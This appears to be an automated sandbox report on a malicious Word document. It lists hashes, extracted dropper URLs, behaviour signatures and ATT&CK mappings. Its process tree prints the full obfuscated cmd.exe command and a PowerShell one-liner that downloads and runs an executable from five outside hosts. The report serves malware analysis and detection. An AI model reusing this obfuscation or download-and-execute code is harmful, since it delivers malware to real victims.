Overview

overview

10

Static

static

8

2ed422fb4a...18.doc

windows7-x64

10

2ed422fb4a...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-05-2024 11:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2ed422fb4a023af73c40611052c5dedc_JaffaCakes118.doc

  • Size

    167KB

  • MD5

    2ed422fb4a023af73c40611052c5dedc

  • SHA1

    d16936fefffd9db05d009149b4ad31dacdbc7359

  • SHA256

    5728aa05ef3551aa19530c31280bb3ea3c1e3a5002a0d7ff73c0defedf6d5f13

  • SHA512

    298c3acbc0481a276dec0c7a6dbdc34e572b056658fc202a4361b5b1de81abecd704982603f0ebca426f63570ee5e054df872525005272764bba5ff89200e330

  • SSDEEP

    3072:ExjnB29gb8onvGflgQjDic88w065Zh69txcqYtl7vtWQAO:Exy6Qj7Hw065Z4x3Yb71W

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://orangereel.co.uk/zr3F
exe.dropper

http://www.mwmummeryroofing.com/0vG
exe.dropper

http://hawkinscs.com/F
exe.dropper

http://damnfinegifts.co.uk/I9Rxpm2y
exe.dropper

http://cotala.com/68vt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

    execution
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2ed422fb4a023af73c40611052c5dedc_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c cMD /v:On/C"seT $?,=\\\//_/-__--/_\ -_/\_-/-\\\-/__ /\\\--_/-__/_-\ /_-\--\_/-_\/_\ -/__\_/-\/--_\\ _\-_\\_-_////-\ \//_/\_-_\\--_- -\\\-//__--_/\_ \/-_/-\-\\__//- \-_\-/\\-__//-/ _\\_-\_\/-/-_/- _/_/\\-\-\-__/- //\__--_\-//-_\ _/-\_/_\\_-\--/ //\\-_/-_/\\__- -/_\_/\/--_-\\_ _-\\/__-_\-/-/\ /__//\\/_\\_---}/-_\-/_/-\\-_\_}/_-_\\__-\//--/{/-\-_/_\_/_-\\/h\\_/_/-//_\-\-_c\__\_/\/--_/\-/t-_\\-_/\/_-_-//a//-__\\-__/\--\c--/--_\_\_//_\/}\\/-//_\/--_\-_;\\/-/_\/-_/__-\k\/_-\/--___\\-/a/_\__--/\_-\/\/e/\-\_\//\_-/-_-r__/\--_\\\/--//b/---_\_/\_\_//-;\_/\/_/\-/-\_--T\_-_-_-/\-/\/_\E-_/\-/_/-\/\-\_L_/-_\/\/--\_\/_$_\-\_/-\_\/-/-/ _\\/---\__/\-/_s-_\/\\_\/-_-_/-s-\__-/\_\///--_e/-_/\/__\\_/-\-c\/__\\\/-__/--/o_-/\\_//-_\-/\-r-\\/__-//_/\-_-P_/\/-_\--\\//__-/-\-__//-\_-/_\t-\/__-_-/-\//\_r/\-___-\/\/_/\-a-__--_\/\/_/\-/t\--/-/\\//___-\S/--\/\__-/_\/-_;/_\_-\/-\_\-/-/)___--\/_//-/\-\T_\_\\-_//--_//-E\_/-/-/__-\_\/\L/\/--_--___\//\$/_//-_/\\-\_\-_ -\\-/\-__\//_/-,--/-\\-_/_/_/\\E_\-_/-\//\_\--_c_--//-_\\/_\\_/Z_--\-\__/\_/-\/$__-//\_--\_\/-/(\//-_--__\/_-/\e\\\_\/-_/-_-//-l/_\_\\-//--/-__i\_\_/\-/_/-\/--F\-_\_\///-_/_--d//\_\__\-/\-_--a_\\/_/_/\_/-\--o//\___--/\\-_-\l/\-_\-\__-\/_//n-/--\\\/___\//-w/_-\--_/_\/\_/\o\_//-/\\_-__-\/D/_/\//_\\_-_-\-./_\-/\\-_/\-_/_L-\/_\_\-\/_-/_-S_--//_/\/_\_\--j-\/_//-/\\-\_-_$---_/\/-_\_/_\\{/\\_//-_\__-\--y_\\-//_--_\_-//r_-_/-\_//-/\\_-t\\__-/-\/-__\-/{\/_\-_//_/_\-\-)/_\--//_-_-_\\/a___\/--/_\\-/-\P\\\/\//-_-_--_/p-/__\\/_\---/_/$_\_/\--\\/_/_/- /-\/-\/_/\_-\-_n\-_\/__-/-\_\//i_\/\\__-\/---/_ //_\-__\/\--\/_E\/\__\/-\--/-__c/--/\\\/-___-_\Z\-__-/_\\//-\/-$-_/-\-\//_-\__/(-/\//_-/__\--_\h_-\/\_/\//-_--_c\\-//-//_\--___a-/\_\/-\_-\/__/e///-\_/_\_-_--\r-_/-\-_-\\_/_//o\\///-_\_--_-\/f\/-//_\\\-__-/_;__\\/\-/-\/__-/'_\_\\_--/\--_//e_-/_/--/\-\\/_\x\_-\/_\__---\//e_/_\\\-/_-/\--/.__\-\_/-_/\//--'\\_/-//_-_\--\/+\/-/_/\_-_\-\-_j_/\-\_\_--/_/\/G_/_-_/\-_-/\-/\d/_/\-/--\_/\-\_$-/\\//-/--\\___+//\/_--__\/_\\-'__-\\//\\-_/_-/\--/_/-\_\_/\/_\'-\--\//__/-/\_\+-\//\_//__\-\_-p-//-\___/-\_\-/m-_\/-\//_-__\/-e--\//_-\//\_-\_t_\/_\_/\/--/-_\:_-/\-_\\/-_/_\/v-/--_\_/\-_/_\\n-\_/\/\-\_/_-/_e\/-\-\-___//\-_$-\/-/\_\-__-/_/=\__//\--_\-\//-T/_-/\\\_--\/-__E\__--\_/\/-/\/_L\\/\_//_--/--\_$\\/-/_/_-_-\_\-;\//_/\\-___--\-'\_/__\/-/-_\-\/2/-\//\-\/_\-_-_8_//--_\/_/-\\_-2/\//__--\\\-/__'/_\\-/\\_/-_-_- _-\_//_\--//-\_=/_\_-/__-/-\/\\ /_/-\//___--\\-j//_\-/\\\_---__G_-/-/\-\\_/-_\/d___\\//\-/-/_-\$_\\-_--///\__-\;-/_/\/-\\_--_/_)/_/-_\_/--/\-\\'_\/\\/___--/-/-@-_/-_\-\/\-_\/_'_-/\-/_\\_/-\-_(/\_--_-\__\\-//t\/\_/---/_-_\\/i\-\\\_//-/-/__-l-\_\__//-_\-/-\p//\-/_\-/__-\-_S/-/_\_--/\_\\_/.___-/\\-\//\--/'-__\/\\/_-_/--\t__-/-\\_//-/\-_v-/-\_//\__-/\-\8-\-/\-__//-__/\6/-\\/____-\-/\//-\_--\/_\_-/_/\m_-\\\-_//_/\--_o/\\_/\-/__-/\-_c\__\///\/-\_-_-./-//_\/_\_---_\a\_-/\_\_-/-_\//l__//-\_/\-\_-\-a_/\-\_//\--_\/-t/----/_\\_\//\_o\-_-/-//-\__/_\c//_\_/--_\\_-\-/-_\/_/-\-\_/-/\/-\//\_\_---/_/_:_-\_\\/\/-_-//_p/-\\-//\_-_/__-t_-_\--/\\-//\/_t\\/__--_\/\//-_h\--/___\\\-/-_/@/_\/_--\_\_\-//y_//_-_/\_\\-\-/2_\\/\-_/\_/-_-/m--\_/-\_/\_//\-p-_/_\/\-\//_\-_x_-\-/\_-_/\-//\R\_-\_-/\__--///9/_\_//--/\_--_\I-_-_//_\/\_\\/-//_\\/-_-\//--__k_\---\//-\_\__/u/_-\_\/\\--/_-/._\/_-_-/\-\\-//o_-/\-_\--/\\/_/c-/\\--_///___-\./\/--\___\/_-/-s//\_-_-\-_//\_-t//-\__-_\_\//--f-_--\/\\_\/-//_i/-/\\\-/-__-/__g_/-\/_\_-/\-_/-e-_//\-/__\-\\_-n-\/-/_\/\__-\-/i\/\_-_/-_//_\-\f\\-_/-__/-\/_/\n_\_/__-\/\--//\m_--//\_/\-__\-/a\/__-/--_/\-_\\d-\\\-__/_//-/_\//\\/-_-/_\\--__/\__/_\--\\-/_-/:_--_\\_/\/-_\//p-/--\\_\\//_-__t\//_\\-/_-/\-_-t/_\_-//---_\_/\h--/-\//-\/\\___@/\/-/\-\____-\/F-\//\/\__-__\/-/_-//__\--_\\/-/m/_-\\-\/\-/_/_-o/-_--/\/\\\/___c-_/--\/-/__\\\_.//\_/__--/-\_-\s/\\_/_\---_-\//c\--/_/\/-\_/_-_s_\--\_/\//_/_\-n/-\_-_\///_\_--i__/--/\\\_/--\/k_//--/\_\_-\\/_w\_-_-__//-/\/\\a\\/-__//-\-/\-_h-_-_\\///__\/\-/\-__-_\/-\//\_//_-/\\_-\/\/-_-_://_-/_\_/--_-\\p\_-/-_/--//_\\\t\_\_\/--_-_//\-t/---\-\/_/_\_\_h-\\\//--/__\_-/@_/-/_\-\-__/\-/G-/-\-\\/_/-/\__v/-_-\\/__/\-_/-0__\\-/\\/-/-/_-/---/\\-_/_/\__\m__/_\\/-\/\/_--o-\-/-\_//_-__/\c\/_\\-//--\/-__.//--\_--__\/\_/g_-\\_//-_-_//\-n\/_\\/--_/_/\-_i/_\-\--\/_-\_//f--__/\/-\/\__\/o/\//_\\__-\_--/o-\/-/_\\_//\_--r_\//---\\_\_/_/y-\/_\_/-/_\_/--r/\\/_-/-_\--__\e_\-\_/_-/\_\//-m\/\\-__/-_/-/-\m/-/\_/\_/\-_--\u\\-/\/__--\/__/m-___/\--/-_/\/\w\-/_\-//__-\\-_m-/_/__-_\\/-/\-.\\___--\//--/\/w/-\/-__\\\-__-/w_-_/\_/-\\/\_-/w/_\--\\-/\_-__//_//-_--\\_-_\\//__///-\_\-\/\--:---/\\___-_//\/p-_/-\\--\_/_//\t-_\_-_/_-/-\//\t_/-_\\/\-_-/_\/h-/-\\-_\///_-_\@_-_\/-_/--\/\\_F-/-\_\//__--_\/3-\//_/_---/\\__r\__\/__--\-\-//z_\/__///\\---\_/\--/-//_\-/\\__k/_\-\_/\-\_-/-/u\_\\__--\//_--/./_-\/\_/__-\/-\o_\\\--/-\_-__//c_/--\-_-\_\/\/_.\_-_-_/_/-/-/\\l-_/-\_\-//__-\/e\//\\_\___----/e/-\_---/_//_\\_r/-//\\\_---\/__e/-\/-\_//_\__\-g\_/\/-\--__//_-n\_\\/-/-\/_--__a\/-____\/\-/--/r\-\-/_\_--_/\_/o_-//_--\_\/\/-_/-/_//__-\\-_-/\//\-/\/_\--__\_-:/-__\\_/\_/-/\-p\/--\_-_\//\__-t\\/\//__/-_--\-t_\_//-\\-/\-/_-h//_/\---\_\_\-/'/-\\--_/\__-_/\=---/_-/\_\\\_/_a-\_\-/_\_-\//-/P/\\_-/-/\-\___-p_\_\\/_/-_/\/--$/-\/\\_\_-_-_-/;-\-///\__-\\__/t\/\---_\\/_/-_/n_-\/-/_\\-/-/_\e\_--\-/\/\/_-/_i\-_\-/-\/_-//\_l//\__-_-\\_\-/-C/--\\-//_\-\___b_-\//_-_\_-/\-/e_\-\\--//_/_-\/W-/_\/\\--_-_\/_.-___/\-/\\/\--/t\\-_-/__-/-_/\\e_\-\/-/\-__\_-/N\\-\_-/_-_/_\/- \--\-/\___\-_//t\_/-_//\\-/-_-_c\/--/-__\\-/__\e/\//_/\_--__-\-j-_\\/_/\--//-__b\_\/--/_/_-_-/\o\-_---_\///_\\/-\/_\-//\_/_--_\w\-/\/_\/_-_/-_\e/\-/\/_/\_\_---n\-/-_/\\--/_/_\=---__-/\\\_/\//L/\\_\_\-_-//-/-S\\//\-_//__---_j-\_-/\/-_\__-\/$-/_\/-__\\/-/-_ -\-//\-__/_\_-\l-////\__\\_-_--l-__/\//\\-\-_/-e_\-\/-_-/_-\/_/h\/_/\\_-\_-/-/-s_-_-\/\/-/\_\_-r\--\-/___\_/\//e/__\\\-_/\--_-/w/\/--_-//__\_-\o---\-_\__\///_/p&& foR /l %v IN ( 5711 -16 15) Do SET .$=!.$!!$?,:~ %v, 1!&& if %v EQU 15 CaLl %.$:*.$!=% "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3672
      • C:\Windows\system32\cmd.exe
        cMD /v:On/C"seT $?,=\\\//_/-__--/_\ -_/\_-/-\\\-/__ /\\\--_/-__/_-\ /_-\--\_/-_\/_\ -/__\_/-\/--_\\ _\-_\\_-_////-\ \//_/\_-_\\--_- -\\\-//__--_/\_ \/-_/-\-\\__//- \-_\-/\\-__//-/ _\\_-\_\/-/-_/- _/_/\\-\-\-__/- //\__--_\-//-_\ _/-\_/_\\_-\--/ //\\-_/-_/\\__- -/_\_/\/--_-\\_ _-\\/__-_\-/-/\ /__//\\/_\\_---}/-_\-/_/-\\-_\_}/_-_\\__-\//--/{/-\-_/_\_/_-\\/h\\_/_/-//_\-\-_c\__\_/\/--_/\-/t-_\\-_/\/_-_-//a//-__\\-__/\--\c--/--_\_\_//_\/}\\/-//_\/--_\-_;\\/-/_\/-_/__-\k\/_-\/--___\\-/a/_\__--/\_-\/\/e/\-\_\//\_-/-_-r__/\--_\\\/--//b/---_\_/\_\_//-;\_/\/_/\-/-\_--T\_-_-_-/\-/\/_\E-_/\-/_/-\/\-\_L_/-_\/\/--\_\/_$_\-\_/-\_\/-/-/ _\\/---\__/\-/_s-_\/\\_\/-_-_/-s-\__-/\_\///--_e/-_/\/__\\_/-\-c\/__\\\/-__/--/o_-/\\_//-_\-/\-r-\\/__-//_/\-_-P_/\/-_\--\\//__-/-\-__//-\_-/_\t-\/__-_-/-\//\_r/\-___-\/\/_/\-a-__--_\/\/_/\-/t\--/-/\\//___-\S/--\/\__-/_\/-_;/_\_-\/-\_\-/-/)___--\/_//-/\-\T_\_\\-_//--_//-E\_/-/-/__-\_\/\L/\/--_--___\//\$/_//-_/\\-\_\-_ -\\-/\-__\//_/-,--/-\\-_/_/_/\\E_\-_/-\//\_\--_c_--//-_\\/_\\_/Z_--\-\__/\_/-\/$__-//\_--\_\/-/(\//-_--__\/_-/\e\\\_\/-_/-_-//-l/_\_\\-//--/-__i\_\_/\-/_/-\/--F\-_\_\///-_/_--d//\_\__\-/\-_--a_\\/_/_/\_/-\--o//\___--/\\-_-\l/\-_\-\__-\/_//n-/--\\\/___\//-w/_-\--_/_\/\_/\o\_//-/\\_-__-\/D/_/\//_\\_-_-\-./_\-/\\-_/\-_/_L-\/_\_\-\/_-/_-S_--//_/\/_\_\--j-\/_//-/\\-\_-_$---_/\/-_\_/_\\{/\\_//-_\__-\--y_\\-//_--_\_-//r_-_/-\_//-/\\_-t\\__-/-\/-__\-/{\/_\-_//_/_\-\-)/_\--//_-_-_\\/a___\/--/_\\-/-\P\\\/\//-_-_--_/p-/__\\/_\---/_/$_\_/\--\\/_/_/- /-\/-\/_/\_-\-_n\-_\/__-/-\_\//i_\/\\__-\/---/_ //_\-__\/\--\/_E\/\__\/-\--/-__c/--/\\\/-___-_\Z\-__-/_\\//-\/-$-_/-\-\//_-\__/(-/\//_-/__\--_\h_-\/\_/\//-_--_c\\-//-//_\--___a-/\_\/-\_-\/__/e///-\_/_\_-_--\r-_/-\-_-\\_/_//o\\///-_\_--_-\/f\/-//_\\\-__-/_;__\\/\-/-\/__-/'_\_\\_--/\--_//e_-/_/--/\-\\/_\x\_-\/_\__---\//e_/_\\\-/_-/\--/.__\-\_/-_/\//--'\\_/-//_-_\--\/+\/-/_/\_-_\-\-_j_/\-\_\_--/_/\/G_/_-_/\-_-/\-/\d/_/\-/--\_/\-\_$-/\\//-/--\\___+//\/_--__\/_\\-'__-\\//\\-_/_-/\--/_/-\_\_/\/_\'-\--\//__/-/\_\+-\//\_//__\-\_-p-//-\___/-\_\-/m-_\/-\//_-__\/-e--\//_-\//\_-\_t_\/_\_/\/--/-_\:_-/\-_\\/-_/_\/v-/--_\_/\-_/_\\n-\_/\/\-\_/_-/_e\/-\-\-___//\-_$-\/-/\_\-__-/_/=\__//\--_\-\//-T/_-/\\\_--\/-__E\__--\_/\/-/\/_L\\/\_//_--/--\_$\\/-/_/_-_-\_\-;\//_/\\-___--\-'\_/__\/-/-_\-\/2/-\//\-\/_\-_-_8_//--_\/_/-\\_-2/\//__--\\\-/__'/_\\-/\\_/-_-_- _-\_//_\--//-\_=/_\_-/__-/-\/\\ /_/-\//___--\\-j//_\-/\\\_---__G_-/-/\-\\_/-_\/d___\\//\-/-/_-\$_\\-_--///\__-\;-/_/\/-\\_--_/_)/_/-_\_/--/\-\\'_\/\\/___--/-/-@-_/-_\-\/\-_\/_'_-/\-/_\\_/-\-_(/\_--_-\__\\-//t\/\_/---/_-_\\/i\-\\\_//-/-/__-l-\_\__//-_\-/-\p//\-/_\-/__-\-_S/-/_\_--/\_\\_/.___-/\\-\//\--/'-__\/\\/_-_/--\t__-/-\\_//-/\-_v-/-\_//\__-/\-\8-\-/\-__//-__/\6/-\\/____-\-/\//-\_--\/_\_-/_/\m_-\\\-_//_/\--_o/\\_/\-/__-/\-_c\__\///\/-\_-_-./-//_\/_\_---_\a\_-/\_\_-/-_\//l__//-\_/\-\_-\-a_/\-\_//\--_\/-t/----/_\\_\//\_o\-_-/-//-\__/_\c//_\_/--_\\_-\-/-_\/_/-\-\_/-/\/-\//\_\_---/_/_:_-\_\\/\/-_-//_p/-\\-//\_-_/__-t_-_\--/\\-//\/_t\\/__--_\/\//-_h\--/___\\\-/-_/@/_\/_--\_\_\-//y_//_-_/\_\\-\-/2_\\/\-_/\_/-_-/m--\_/-\_/\_//\-p-_/_\/\-\//_\-_x_-\-/\_-_/\-//\R\_-\_-/\__--///9/_\_//--/\_--_\I-_-_//_\/\_\\/-//_\\/-_-\//--__k_\---\//-\_\__/u/_-\_\/\\--/_-/._\/_-_-/\-\\-//o_-/\-_\--/\\/_/c-/\\--_///___-\./\/--\___\/_-/-s//\_-_-\-_//\_-t//-\__-_\_\//--f-_--\/\\_\/-//_i/-/\\\-/-__-/__g_/-\/_\_-/\-_/-e-_//\-/__\-\\_-n-\/-/_\/\__-\-/i\/\_-_/-_//_\-\f\\-_/-__/-\/_/\n_\_/__-\/\--//\m_--//\_/\-__\-/a\/__-/--_/\-_\\d-\\\-__/_//-/_\//\\/-_-/_\\--__/\__/_\--\\-/_-/:_--_\\_/\/-_\//p-/--\\_\\//_-__t\//_\\-/_-/\-_-t/_\_-//---_\_/\h--/-\//-\/\\___@/\/-/\-\____-\/F-\//\/\__-__\/-/_-//__\--_\\/-/m/_-\\-\/\-/_/_-o/-_--/\/\\\/___c-_/--\/-/__\\\_.//\_/__--/-\_-\s/\\_/_\---_-\//c\--/_/\/-\_/_-_s_\--\_/\//_/_\-n/-\_-_\///_\_--i__/--/\\\_/--\/k_//--/\_\_-\\/_w\_-_-__//-/\/\\a\\/-__//-\-/\-_h-_-_\\///__\/\-/\-__-_\/-\//\_//_-/\\_-\/\/-_-_://_-/_\_/--_-\\p\_-/-_/--//_\\\t\_\_\/--_-_//\-t/---\-\/_/_\_\_h-\\\//--/__\_-/@_/-/_\-\-__/\-/G-/-\-\\/_/-/\__v/-_-\\/__/\-_/-0__\\-/\\/-/-/_-/---/\\-_/_/\__\m__/_\\/-\/\/_--o-\-/-\_//_-__/\c\/_\\-//--\/-__.//--\_--__\/\_/g_-\\_//-_-_//\-n\/_\\/--_/_/\-_i/_\-\--\/_-\_//f--__/\/-\/\__\/o/\//_\\__-\_--/o-\/-/_\\_//\_--r_\//---\\_\_/_/y-\/_\_/-/_\_/--r/\\/_-/-_\--__\e_\-\_/_-/\_\//-m\/\\-__/-_/-/-\m/-/\_/\_/\-_--\u\\-/\/__--\/__/m-___/\--/-_/\/\w\-/_\-//__-\\-_m-/_/__-_\\/-/\-.\\___--\//--/\/w/-\/-__\\\-__-/w_-_/\_/-\\/\_-/w/_\--\\-/\_-__//_//-_--\\_-_\\//__///-\_\-\/\--:---/\\___-_//\/p-_/-\\--\_/_//\t-_\_-_/_-/-\//\t_/-_\\/\-_-/_\/h-/-\\-_\///_-_\@_-_\/-_/--\/\\_F-/-\_\//__--_\/3-\//_/_---/\\__r\__\/__--\-\-//z_\/__///\\---\_/\--/-//_\-/\\__k/_\-\_/\-\_-/-/u\_\\__--\//_--/./_-\/\_/__-\/-\o_\\\--/-\_-__//c_/--\-_-\_\/\/_.\_-_-_/_/-/-/\\l-_/-\_\-//__-\/e\//\\_\___----/e/-\_---/_//_\\_r/-//\\\_---\/__e/-\/-\_//_\__\-g\_/\/-\--__//_-n\_\\/-/-\/_--__a\/-____\/\-/--/r\-\-/_\_--_/\_/o_-//_--\_\/\/-_/-/_//__-\\-_-/\//\-/\/_\--__\_-:/-__\\_/\_/-/\-p\/--\_-_\//\__-t\\/\//__/-_--\-t_\_//-\\-/\-/_-h//_/\---\_\_\-/'/-\\--_/\__-_/\=---/_-/\_\\\_/_a-\_\-/_\_-\//-/P/\\_-/-/\-\___-p_\_\\/_/-_/\/--$/-\/\\_\_-_-_-/;-\-///\__-\\__/t\/\---_\\/_/-_/n_-\/-/_\\-/-/_\e\_--\-/\/\/_-/_i\-_\-/-\/_-//\_l//\__-_-\\_\-/-C/--\\-//_\-\___b_-\//_-_\_-/\-/e_\-\\--//_/_-\/W-/_\/\\--_-_\/_.-___/\-/\\/\--/t\\-_-/__-/-_/\\e_\-\/-/\-__\_-/N\\-\_-/_-_/_\/- \--\-/\___\-_//t\_/-_//\\-/-_-_c\/--/-__\\-/__\e/\//_/\_--__-\-j-_\\/_/\--//-__b\_\/--/_/_-_-/\o\-_---_\///_\\/-\/_\-//\_/_--_\w\-/\/_\/_-_/-_\e/\-/\/_/\_\_---n\-/-_/\\--/_/_\=---__-/\\\_/\//L/\\_\_\-_-//-/-S\\//\-_//__---_j-\_-/\/-_\__-\/$-/_\/-__\\/-/-_ -\-//\-__/_\_-\l-////\__\\_-_--l-__/\//\\-\-_/-e_\-\/-_-/_-\/_/h\/_/\\_-\_-/-/-s_-_-\/\/-/\_\_-r\--\-/___\_/\//e/__\\\-_/\--_-/w/\/--_-//__\_-\o---\-_\__\///_/p&& foR /l %v IN ( 5711 -16 15) Do SET .$=!.$!!$?,:~ %v, 1!&& if %v EQU 15 CaLl %.$:*.$!=% "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1884
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell $jSL=new-object Net.WebClient;$pPa='http://orangereel.co.uk/zr3F@http://www.mwmummeryroofing.com/0vG@http://hawkinscs.com/F@http://damnfinegifts.co.uk/I9Rxpm2y@http://cotala.com/68vt'.Split('@');$dGj = '282';$LET=$env:temp+'\'+$dGj+'.exe';foreach($ZcE in $pPa){try{$jSL.DownloadFile($ZcE, $LET);Start-Process $LET;break;}catch{}}
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4004

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\282.exe
    Filesize

    173B

    MD5

    3aca07e51ee5a040d8cdfe1fb4c82a4d

    SHA1

    72eb7a26dd3da38a2fd43f8c16e2373aad128402

    SHA256

    25022d57c9f0d93d499d876b960e23bf743c759a6781f0a00b8fdd188ad9baf1

    SHA512

    742f2249667855a3f6af02fffa68c281b5fd3371bbf84b2a41b5e588d82e4fa89abde860c949a34bc08c25eee668c669875985986c8a1293f5d4d3a6460d5728

    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\TCD8814.tmp\iso690.xsl
    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ig5e0hjk.34u.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit
  • memory/1504-12-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-592-0x00007FFACC790000-0x00007FFACC7A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-5-0x00007FFB0C7AD000-0x00007FFB0C7AE000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1504-6-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-7-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-8-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-9-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-10-0x00007FFACA390000-0x00007FFACA3A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-13-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-0-0x00007FFACC790000-0x00007FFACC7A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-17-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-16-0x00007FFACA390000-0x00007FFACA3A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-18-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-19-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-20-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-22-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-54-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-21-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-15-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-14-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-11-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-40-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-56-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-4-0x00007FFACC790000-0x00007FFACC7A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-23-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-58-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-57-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-55-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-59-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-46-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-1-0x00007FFACC790000-0x00007FFACC7A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-595-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-3-0x00007FFACC790000-0x00007FFACC7A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-2-0x00007FFACC790000-0x00007FFACC7A0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/1504-561-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-562-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-563-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/1504-565-0x00007FFB0C710000-0x00007FFB0C905000-memory.dmp
    Filesize

    2.0MB

    Download
